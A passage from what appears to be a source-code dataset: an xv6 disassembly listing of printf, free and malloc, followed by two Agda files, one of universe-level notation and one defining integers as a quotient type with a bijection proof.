fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 5d0: 83 f8 25 cmp $0x25,%eax 5d3: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 5d6: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 5db: 74 18 je 5f5 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5dd: 8d 45 e2 lea -0x1e(%ebp),%eax 5e0: 83 ec 04 sub $0x4,%esp 5e3: 88 5d e2 mov %bl,-0x1e(%ebp) 5e6: 6a 01 push $0x1 5e8: 50 push %eax 5e9: 57 push %edi 5ea: e8 63 fe ff ff call 452 <write> 5ef: 8b 55 d4 mov -0x2c(%ebp),%edx 5f2: 83 c4 10 add $0x10,%esp 5f5: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5f8: 0f b6 5e ff movzbl -0x1(%esi),%ebx 5fc: 84 db test %bl,%bl 5fe: 74 73 je 673 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 600: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 602: 0f be cb movsbl %bl,%ecx 605: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 608: 74 c6 je 5d0 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 60a: 83 fa 25 cmp $0x25,%edx 60d: 75 e6 jne 5f5 <printf+0x55> if(c == 'd'){ 60f: 83 f8 64 cmp $0x64,%eax 612: 0f 84 f8 00 00 00 je 710 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 618: 81 e1 f7 00 00 00 and $0xf7,%ecx 61e: 83 f9 70 cmp $0x70,%ecx 621: 74 5d je 680 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 623: 83 f8 73 cmp $0x73,%eax 626: 0f 84 84 00 00 00 je 6b0 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 62c: 83 f8 63 cmp $0x63,%eax 62f: 0f 84 ea 00 00 00 je 71f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 635: 83 f8 25 cmp $0x25,%eax 638: 0f 84 c2 00 00 00 je 700 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 63e: 8d 45 e7 lea -0x19(%ebp),%eax 641: 83 ec 04 sub $0x4,%esp 644: c6 45 e7 25 movb $0x25,-0x19(%ebp) 648: 6a 01 push $0x1 64a: 50 push %eax 64b: 57 push %edi 64c: e8 01 fe ff ff call 452 <write> 651: 83 c4 0c add $0xc,%esp 654: 8d 45 e6 lea -0x1a(%ebp),%eax 657: 88 5d e6 mov %bl,-0x1a(%ebp) 65a: 6a 01 push $0x1 65c: 50 push %eax 65d: 57 push %edi 65e: 83 c6 01 add $0x1,%esi 661: e8 ec fd ff ff call 452 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 666: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 66a: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 66d: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 66f: 84 db test %bl,%bl 671: 75 8d jne 600 <printf+0x60> putc(fd, c); } state = 0; } } } 673: 8d 65 f4 lea -0xc(%ebp),%esp 676: 5b pop %ebx 677: 5e pop %esi 678: 5f pop %edi 679: 5d pop %ebp 67a: c3 ret 67b: 90 nop 67c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 680: 83 ec 0c sub $0xc,%esp 683: b9 10 00 00 00 mov $0x10,%ecx 688: 6a 00 push $0x0 68a: 8b 5d d0 mov -0x30(%ebp),%ebx 68d: 89 f8 mov %edi,%eax 68f: 8b 13 mov (%ebx),%edx 691: e8 6a fe ff ff call 500 <printint> ap++; 696: 89 d8 mov %ebx,%eax 698: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 69b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 69d: 83 c0 04 add $0x4,%eax 6a0: 89 45 d0 mov %eax,-0x30(%ebp) 6a3: e9 4d ff ff ff jmp 5f5 <printf+0x55> 6a8: 90 nop 6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 6b0: 8b 45 d0 mov -0x30(%ebp),%eax 6b3: 8b 18 mov (%eax),%ebx ap++; 6b5: 83 c0 04 add $0x4,%eax 6b8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 6bb: b8 ab 09 00 00 mov $0x9ab,%eax 6c0: 85 db test %ebx,%ebx 6c2: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 6c5: 0f b6 03 movzbl (%ebx),%eax 6c8: 84 c0 test %al,%al 6ca: 74 23 je 6ef <printf+0x14f> 6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 6d0: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6d3: 8d 45 e3 lea -0x1d(%ebp),%eax 6d6: 83 ec 04 sub $0x4,%esp 6d9: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 6db: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6de: 50 push %eax 6df: 57 push %edi 6e0: e8 6d fd ff ff call 452 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 6e5: 0f b6 03 movzbl (%ebx),%eax 6e8: 83 c4 10 add $0x10,%esp 6eb: 84 c0 test %al,%al 6ed: 75 e1 jne 6d0 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 6ef: 31 d2 xor %edx,%edx 6f1: e9 ff fe ff ff jmp 5f5 <printf+0x55> 6f6: 8d 76 00 lea 0x0(%esi),%esi 6f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 700: 83 ec 04 sub $0x4,%esp 703: 88 5d e5 mov %bl,-0x1b(%ebp) 706: 8d 45 e5 lea -0x1b(%ebp),%eax 709: 6a 01 push $0x1 70b: e9 4c ff ff ff jmp 65c <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 710: 83 ec 0c sub $0xc,%esp 713: b9 0a 00 00 00 mov $0xa,%ecx 718: 6a 01 push $0x1 71a: e9 6b ff ff ff jmp 68a <printf+0xea> 71f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 722: 83 ec 04 sub $0x4,%esp 725: 8b 03 mov (%ebx),%eax 727: 6a 01 push $0x1 729: 88 45 e4 mov %al,-0x1c(%ebp) 72c: 8d 45 e4 lea -0x1c(%ebp),%eax 72f: 50 push %eax 730: 57 push %edi 731: e8 1c fd ff ff call 452 <write> 736: e9 5b ff ff ff jmp 696 <printf+0xf6> 73b: 66 90 xchg %ax,%ax 73d: 66 90 xchg %ax,%ax 73f: 90 nop 00000740 <free>: static Header base; static Header *freep; void free(void *ap) { 740: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 741: a1 cc 0c 00 00 mov 0xccc,%eax static Header base; static Header *freep; void free(void *ap) { 746: 89 e5 mov %esp,%ebp 748: 57 push %edi 749: 56 push %esi 74a: 53 push %ebx 74b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 74e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 750: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 753: 39 c8 cmp %ecx,%eax 755: 73 19 jae 770 <free+0x30> 757: 89 f6 mov %esi,%esi 759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 760: 39 d1 cmp %edx,%ecx 762: 72 1c jb 780 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 764: 39 d0 cmp %edx,%eax 766: 73 18 jae 780 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 768: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 76a: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 76c: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 76e: 72 f0 jb 760 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 770: 39 d0 cmp %edx,%eax 772: 72 f4 jb 768 <free+0x28> 774: 39 d1 cmp %edx,%ecx 776: 73 f0 jae 768 <free+0x28> 778: 90 nop 779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 780: 8b 73 fc mov -0x4(%ebx),%esi 783: 8d 3c f1 lea (%ecx,%esi,8),%edi 786: 39 d7 cmp %edx,%edi 788: 74 19 je 7a3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 78a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 78d: 8b 50 04 mov 0x4(%eax),%edx 790: 8d 34 d0 lea (%eax,%edx,8),%esi 793: 39 f1 cmp %esi,%ecx 795: 74 23 je 7ba <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 797: 89 08 mov %ecx,(%eax) freep = p; 799: a3 cc 0c 00 00 mov %eax,0xccc } 79e: 5b pop %ebx 79f: 5e pop %esi 7a0: 5f pop %edi 7a1: 5d pop %ebp 7a2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 7a3: 03 72 04 add 0x4(%edx),%esi 7a6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 7a9: 8b 10 mov (%eax),%edx 7ab: 8b 12 mov (%edx),%edx 7ad: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 7b0: 8b 50 04 mov 0x4(%eax),%edx 7b3: 8d 34 d0 lea (%eax,%edx,8),%esi 7b6: 39 f1 cmp %esi,%ecx 7b8: 75 dd jne 797 <free+0x57> p->s.size += bp->s.size; 7ba: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 7bd: a3 cc 0c 00 00 mov %eax,0xccc bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 7c2: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 7c5: 8b 53 f8 mov -0x8(%ebx),%edx 7c8: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 7ca: 5b pop %ebx 7cb: 5e pop %esi 7cc: 5f pop %edi 7cd: 5d pop %ebp 7ce: c3 ret 7cf: 90 nop 000007d0 <malloc>: return freep; } void* malloc(uint nbytes) { 7d0: 55 push %ebp 7d1: 89 e5 mov %esp,%ebp 7d3: 57 push %edi 7d4: 56 push %esi 7d5: 53 push %ebx 7d6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7d9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 7dc: 8b 15 cc 0c 00 00 mov 0xccc,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7e2: 8d 78 07 lea 0x7(%eax),%edi 7e5: c1 ef 03 shr $0x3,%edi 7e8: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 7eb: 85 d2 test %edx,%edx 7ed: 0f 84 a3 00 00 00 je 896 <malloc+0xc6> 7f3: 8b 02 mov (%edx),%eax 7f5: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 7f8: 39 cf cmp %ecx,%edi 7fa: 76 74 jbe 870 <malloc+0xa0> 7fc: 81 ff 00 10 00 00 cmp $0x1000,%edi 802: be 00 10 00 00 mov $0x1000,%esi 807: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 80e: 0f 43 f7 cmovae %edi,%esi 811: ba 00 80 00 00 mov $0x8000,%edx 816: 81 ff ff 0f 00 00 cmp $0xfff,%edi 81c: 0f 46 da cmovbe %edx,%ebx 81f: eb 10 jmp 831 <malloc+0x61> 821: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 828: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 82a: 8b 48 04 mov 0x4(%eax),%ecx 82d: 39 cf cmp %ecx,%edi 82f: 76 3f jbe 870 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 831: 39 05 cc 0c 00 00 cmp %eax,0xccc 837: 89 c2 mov %eax,%edx 839: 75 ed jne 828 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 83b: 83 ec 0c sub $0xc,%esp 83e: 53 push %ebx 83f: e8 76 fc ff ff call 4ba <sbrk> if(p == (char*)-1) 844: 83 c4 10 add $0x10,%esp 847: 83 f8 ff cmp $0xffffffff,%eax 84a: 74 1c je 868 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 84c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 84f: 83 ec 0c sub $0xc,%esp 852: 83 c0 08 add $0x8,%eax 855: 50 push %eax 856: e8 e5 fe ff ff call 740 <free> return freep; 85b: 8b 15 cc 0c 00 00 mov 0xccc,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 861: 83 c4 10 add $0x10,%esp 864: 85 d2 test %edx,%edx 866: 75 c0 jne 828 <malloc+0x58> return 0; 868: 31 c0 xor %eax,%eax 86a: eb 1c jmp 888 <malloc+0xb8> 86c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 870: 39 cf cmp %ecx,%edi 872: 74 1c je 890 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 874: 29 f9 sub %edi,%ecx 876: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 879: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 87c: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 87f: 89 15 cc 0c 00 00 mov %edx,0xccc return (void*)(p + 1); 885: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 888: 8d 65 f4 lea -0xc(%ebp),%esp 88b: 5b pop %ebx 88c: 5e pop %esi 88d: 5f pop %edi 88e: 5d pop %ebp 88f: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 890: 8b 08 mov (%eax),%ecx 892: 89 0a mov %ecx,(%edx) 894: eb e9 jmp 87f <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 896: c7 05 cc 0c 00 00 d0 movl $0xcd0,0xccc 89d: 0c 00 00 8a0: c7 05 d0 0c 00 00 d0 movl $0xcd0,0xcd0 8a7: 0c 00 00 base.s.size = 0; 8aa: b8 d0 0c 00 00 mov $0xcd0,%eax 8af: c7 05 d4 0c 00 00 00 movl $0x0,0xcd4 8b6: 00 00 00 8b9: e9 3e ff ff ff jmp 7fc <malloc+0x2c>
archive/agda-1/Foundation/Primitive.agda
m0davis/oscar
0
9665
module Foundation.Primitive where open import Agda.Primitive infix -65536 ℞_ ℞_ : ∀ ℓ → Set _ ℞_ ℓ = Set ℓ ⟰ : Level → Level ⟰ = lsuc infix -65536 ℞₁_ ℞₁_ : ∀ ℓ → Set _ ℞₁_ ℓ = ℞ ⟰ ℓ 𝟘 : Level 𝟘 = lzero open import Agda.Primitive using (_⊔_) public
src/Integer/Quotient.agda
nad/equality
3
15281
<filename>src/Integer/Quotient.agda ------------------------------------------------------------------------ -- Integers, defined using a quotient type ------------------------------------------------------------------------ {-# OPTIONS --erased-cubical --safe #-} import Equality.Path as P module Integer.Quotient {e⁺} (eq : ∀ {a p} → P.Equality-with-paths a p e⁺) where open P.Derived-definitions-and-properties eq hiding (elim) open import Prelude as P hiding (suc; _*_; _^_) renaming (_+_ to _⊕_) open import Bijection equality-with-J using (_↔_) open import Equality.Path.Isomorphisms eq open import Equality.Path.Isomorphisms.Univalence eq open import Equivalence equality-with-J as Eq using (_≃_) open import Equivalence-relation equality-with-J open import Erased.Cubical eq open import Function-universe equality-with-J hiding (id; _∘_) open import Group equality-with-J as G using (Group; Abelian; _≃ᴳ_) open import Group.Cyclic eq as C using (Generated-by; Cyclic) open import H-level equality-with-J open import H-level.Closure equality-with-J open import H-level.Truncation.Propositional eq using (∣_∣) import Integer equality-with-J as Data import Nat equality-with-J as Nat open import Quotient eq as Q hiding (elim; rec) open import Univalence-axiom equality-with-J private variable m m₁ m₂ n n₁ n₂ : ℕ a : Level A : Type a i j p q : A ------------------------------------------------------------------------ -- The relation used to define the integers. -- Two pairs of natural numbers are related if they have the same -- difference. Same-difference : ℕ × ℕ → ℕ × ℕ → Type Same-difference (m₁ , n₁) (m₂ , n₂) = m₁ ⊕ n₂ ≡ n₁ ⊕ m₂ -- The relation is pointwise propositional. Same-difference-propositional : Is-proposition (Same-difference p q) Same-difference-propositional = ℕ-set -- The relation is an equivalence relation. Same-difference-is-equivalence-relation : Is-equivalence-relation Same-difference Same-difference-is-equivalence-relation = record { reflexive = λ { {m , n} → m ⊕ n ≡⟨ Nat.+-comm m ⟩∎ n ⊕ m ∎ } ; symmetric = λ { {m₁ , n₁} {m₂ , n₂} hyp → m₂ ⊕ n₁ ≡⟨ Nat.+-comm m₂ ⟩ n₁ ⊕ m₂ ≡⟨ sym hyp ⟩ m₁ ⊕ n₂ ≡⟨ Nat.+-comm m₁ ⟩∎ n₂ ⊕ m₁ ∎ } ; transitive = λ { {m₁ , n₁} {m₂ , n₂} {m₃ , n₃} hyp₁ hyp₂ → Nat.+-cancellativeʳ ( m₁ ⊕ n₃ ⊕ m₂ ≡⟨ sym $ Nat.+-assoc m₁ ⟩ m₁ ⊕ (n₃ ⊕ m₂) ≡⟨ cong (m₁ ⊕_) $ Nat.+-comm n₃ ⟩ m₁ ⊕ (m₂ ⊕ n₃) ≡⟨ cong (m₁ ⊕_) hyp₂ ⟩ m₁ ⊕ (n₂ ⊕ m₃) ≡⟨ Nat.+-assoc m₁ ⟩ m₁ ⊕ n₂ ⊕ m₃ ≡⟨ cong (_⊕ m₃) hyp₁ ⟩ n₁ ⊕ m₂ ⊕ m₃ ≡⟨ sym $ Nat.+-assoc n₁ ⟩ n₁ ⊕ (m₂ ⊕ m₃) ≡⟨ cong (n₁ ⊕_) $ Nat.+-comm m₂ ⟩ n₁ ⊕ (m₃ ⊕ m₂) ≡⟨ Nat.+-assoc n₁ ⟩∎ n₁ ⊕ m₃ ⊕ m₂ ∎) } } -- It is decidable whether the relation holds. Same-difference-decidable : ∀ p → Dec (Same-difference p q) Same-difference-decidable _ = _ Nat.≟ _ ------------------------------------------------------------------------ -- Integers -- Integers. ℤ : Type ℤ = (ℕ × ℕ) / Same-difference -- The integers form a set. ℤ-set : Is-set ℤ ℤ-set = /-is-set -- Turns natural numbers into the corresponding integers. infix 8 +_ +_ : ℕ → ℤ + n = [ (n , 0) ] -- Turns natural numbers into the corresponding negative integers. -[_] : ℕ → ℤ -[ n ] = [ (0 , n) ] ------------------------------------------------------------------------ -- A lemma -- Increasing both sides of a pair by one does not affect the value of -- the corresponding integer. []≡[suc,suc] : _≡_ {A = ℤ} [ (m , n) ] [ (P.suc m , P.suc n) ] []≡[suc,suc] {m = m} {n = n} = []-respects-relation (m ⊕ P.suc n ≡⟨ sym $ Nat.suc+≡+suc m ⟩ P.suc m ⊕ n ≡⟨ Nat.+-comm (P.suc m) ⟩∎ n ⊕ P.suc m ∎) ------------------------------------------------------------------------ -- A one-to-one correspondence between two definitions of integers -- There is a bijection between this variant of integers and the one -- in Integer. ℤ↔ℤ : ℤ ↔ Data.ℤ ℤ↔ℤ = record { surjection = record { logical-equivalence = record { to = to ; from = from } ; right-inverse-of = to∘from } ; left-inverse-of = from∘to } where to-lemma₁ : m₁ ⊕ P.suc n₂ ≡ m₂ → (Data.+ m₁) ≡ Data.+ m₂ +-[1+ n₂ ] to-lemma₁ {m₁ = m₁} {n₂ = n₂} {m₂ = zero} hyp = ⊥-elim $ Nat.0≢+ (zero ≡⟨ sym hyp ⟩ m₁ ⊕ P.suc n₂ ≡⟨ sym $ Nat.suc+≡+suc m₁ ⟩∎ P.suc (m₁ ⊕ n₂) ∎) to-lemma₁ {m₁ = m₁} {n₂ = zero} {m₂ = P.suc m₂} hyp = cong (Data.+_) $ Nat.cancel-suc (P.suc m₁ ≡⟨ Nat.+-comm 1 ⟩ m₁ ⊕ 1 ≡⟨ hyp ⟩∎ P.suc m₂ ∎) to-lemma₁ {m₁ = m₁} {n₂ = P.suc n₂} {m₂ = P.suc m₂} hyp = to-lemma₁ $ Nat.cancel-suc (P.suc (m₁ ⊕ P.suc n₂) ≡⟨ Nat.suc+≡+suc m₁ ⟩ m₁ ⊕ P.suc (P.suc n₂) ≡⟨ hyp ⟩∎ P.suc m₂ ∎) to-lemma₂ : m₁ ⊕ zero ≡ P.suc n₁ ⊕ m₂ → Data.+ m₁ +-[1+ n₁ ] ≡ Data.+ m₂ to-lemma₂ {m₁ = zero} hyp = ⊥-elim $ Nat.0≢+ hyp to-lemma₂ {m₁ = P.suc m₁} {n₁ = zero} {m₂ = m₂} hyp = cong (Data.+_) $ Nat.cancel-suc (P.suc m₁ ≡⟨ sym Nat.+-right-identity ⟩ P.suc m₁ ⊕ 0 ≡⟨ hyp ⟩∎ P.suc m₂ ∎) to-lemma₂ {m₁ = P.suc m₁} {n₁ = P.suc n₁} hyp = to-lemma₂ (Nat.cancel-suc hyp) to-lemma₃ : ∀ m₁ n₁ m₂ n₂ → m₁ ⊕ P.suc n₂ ≡ P.suc n₁ ⊕ m₂ → Data.+ m₁ +-[1+ n₁ ] ≡ Data.+ m₂ +-[1+ n₂ ] to-lemma₃ (P.suc m₁) (P.suc n₁) m₂ n₂ hyp = to-lemma₃ m₁ n₁ m₂ n₂ (Nat.cancel-suc hyp) to-lemma₃ m₁ n₁ (P.suc m₂) (P.suc n₂) hyp = to-lemma₃ m₁ n₁ m₂ n₂ $ Nat.cancel-suc (P.suc (m₁ ⊕ P.suc n₂) ≡⟨ Nat.suc+≡+suc m₁ ⟩ m₁ ⊕ P.suc (P.suc n₂) ≡⟨ hyp ⟩ P.suc n₁ ⊕ P.suc m₂ ≡⟨ cong P.suc $ sym $ Nat.suc+≡+suc n₁ ⟩∎ P.suc (P.suc n₁ ⊕ m₂) ∎) to-lemma₃ zero n₁ zero n₂ hyp = cong Data.-[1+_] $ Nat.cancel-suc (P.suc n₁ ≡⟨ sym Nat.+-right-identity ⟩ P.suc n₁ ⊕ 0 ≡⟨ sym hyp ⟩∎ P.suc n₂ ∎) to-lemma₃ (P.suc m₁) zero (P.suc m₂) zero hyp = cong (Data.+_) $ Nat.cancel-suc $ (P.suc m₁ ≡⟨ Nat.+-comm 1 ⟩ m₁ ⊕ 1 ≡⟨ Nat.cancel-suc hyp ⟩∎ P.suc m₂ ∎) to-lemma₃ (P.suc m₁) zero zero n₂ hyp = ⊥-elim $ Nat.0≢+ (0 ≡⟨ sym $ Nat.cancel-suc hyp ⟩ m₁ ⊕ P.suc n₂ ≡⟨ sym $ Nat.suc+≡+suc m₁ ⟩∎ P.suc (m₁ ⊕ n₂) ∎) to-lemma₃ zero n₁ (P.suc m₂) zero hyp = ⊥-elim $ Nat.0≢+ (0 ≡⟨ Nat.cancel-suc hyp ⟩ n₁ ⊕ P.suc m₂ ≡⟨ sym $ Nat.suc+≡+suc n₁ ⟩∎ P.suc (n₁ ⊕ m₂) ∎) to-lemma : ∀ m₁ n₁ m₂ n₂ → Same-difference (m₁ , n₁) (m₂ , n₂) → Data.+ m₁ Data.- Data.+ n₁ ≡ Data.+ m₂ Data.- Data.+ n₂ to-lemma m₁ zero m₂ zero hyp = Data.+ (m₁ ⊕ 0) ≡⟨ cong Data.+_ hyp ⟩ Data.+ m₂ ≡⟨ cong Data.+_ (sym Nat.+-right-identity) ⟩∎ Data.+ (m₂ ⊕ 0) ∎ to-lemma m₁ zero m₂ (P.suc n₂) hyp = Data.+ (m₁ ⊕ 0) ≡⟨ cong Data.+_ Nat.+-right-identity ⟩ Data.+ m₁ ≡⟨ to-lemma₁ hyp ⟩∎ Data.+ m₂ +-[1+ n₂ ] ∎ to-lemma m₁ (P.suc n₁) m₂ zero hyp = Data.+ m₁ +-[1+ n₁ ] ≡⟨ to-lemma₂ hyp ⟩ Data.+ m₂ ≡⟨ cong Data.+_ (sym Nat.+-right-identity) ⟩∎ Data.+ (m₂ ⊕ 0) ∎ to-lemma m₁ (P.suc n₁) m₂ (P.suc n₂) hyp = Data.+ m₁ +-[1+ n₁ ] ≡⟨ to-lemma₃ _ _ _ _ hyp ⟩∎ Data.+ m₂ +-[1+ n₂ ] ∎ to : ℤ → Data.ℤ to = Q.rec λ where .[]ʳ (m , n) → Data.+ m Data.- Data.+ n .[]-respects-relationʳ {x = m₁ , n₁} {y = m₂ , n₂} → to-lemma m₁ n₁ m₂ n₂ .is-setʳ → Data.ℤ-set from : Data.ℤ → ℤ from (Data.+ n) = + n from Data.-[1+ n ] = [ (0 , P.suc n) ] to∘from : ∀ i → to (from i) ≡ i to∘from (Data.+ n) = to (from (Data.+ n)) ≡⟨⟩ Data.+ (n ⊕ 0) ≡⟨ cong Data.+_ Nat.+-right-identity ⟩∎ Data.+ n ∎ to∘from Data.-[1+ n ] = to (from Data.-[1+ n ]) ≡⟨⟩ Data.-[1+ n ] ∎ from-+_+-[1+_] : ∀ m n → from (Data.+ m +-[1+ n ]) ≡ [ (m , P.suc n) ] from-+ zero +-[1+ n ] = refl _ from-+ P.suc m +-[1+ zero ] = []≡[suc,suc] from-+ P.suc m +-[1+ P.suc n ] = from (Data.+ P.suc m +-[1+ P.suc n ]) ≡⟨⟩ from (Data.+ m +-[1+ n ]) ≡⟨ from-+ m +-[1+ n ] ⟩ [ (m , P.suc n) ] ≡⟨ []≡[suc,suc] ⟩∎ [ (P.suc m , P.suc (P.suc n)) ] ∎ from∘to : ∀ i → from (to i) ≡ i from∘to = Q.elim-prop λ where .[]ʳ (m , zero) → from (to (+ m)) ≡⟨⟩ + (m ⊕ 0) ≡⟨ cong +_ Nat.+-right-identity ⟩∎ + m ∎ .[]ʳ (m , P.suc n) → from (to [ (m , P.suc n) ]) ≡⟨⟩ from (Data.+ m +-[1+ n ]) ≡⟨ from-+ m +-[1+ n ] ⟩∎ [ (m , P.suc n) ] ∎ .is-propositionʳ _ → ℤ-set -- The bijection is homomorphic with respect to +_/Data.+_. ℤ↔ℤ-+ : _↔_.to ℤ↔ℤ (+ n) ≡ Data.+ n ℤ↔ℤ-+ {n = n} = Data.+ (n ⊕ 0) ≡⟨ cong Data.+_ Nat.+-right-identity ⟩∎ Data.+ n ∎ -- The bijection is homomorphic with respect to -[_]/Data.-[_]. ℤ↔ℤ--[] : 